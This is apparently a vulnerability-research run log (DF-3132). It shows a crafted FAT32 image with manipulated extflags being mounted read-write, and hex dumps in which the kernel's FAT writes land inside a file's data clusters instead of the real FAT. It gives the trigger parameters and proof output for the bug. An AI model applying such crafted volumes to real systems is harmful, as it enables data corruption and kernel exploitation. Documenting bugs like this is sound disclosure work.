===== DF-3132: RW mount, kernel-mediated cross-region writes (live run)
vnconfig -c -S 64m /dev/vn0 /root/w/curfat.img   (FAT32, FATs=1, extflags=0x8F -> pm_curfat=15)
mount_msdos /dev/vn0 /mnt/df3132
/dev/vn0 on /mnt/df3132 (msdos, local)          <-- crafted volume accepted RW

--- CANARY.BIN head BEFORE modification (this is sector 152, the displaced-FAT zone):
00000000  f8 ff ff 0f 00 00 00 00  03 00 00 00 04 00 00 00
00000010  05 00 00 00 f8 ff ff 0f  00 00 00 00 00 00 00 00

echo hi > /mnt/df3132/NEW.TXT ; sync ; umount

--- REAL FAT (sector 32) after umount -- entry 7 still ZERO (free):
00000000  f8 ff ff 0f 00 00 00 00  03 00 00 00 04 00 00 00
00000010  05 00 00 00 f8 ff ff 0f  00 00 00 00 00 00 00 00   <-- entry 7 @0x1C = 00000000

--- MISPLACED-FAT LANDING ZONE (sector 152 = CANARY.BIN cluster 30) after umount:
00000000  f8 ff ff 0f 00 00 00 00  03 00 00 00 04 00 00 00
00000010  05 00 00 00 f8 ff ff 0f  ff ff ff 0f 00 00 00 00   <-- entry 7 @0x1C = FFFFFF0F = EOC

The NEW.TXT cluster-7 EOC chain write landed ONLY in the data area
(inside CANARY.BIN clusters); the real FAT never saw it.
canary md5 (sectors 152..167): a7374d8a588870c5faacb5f01801aab2
DONE-DF3132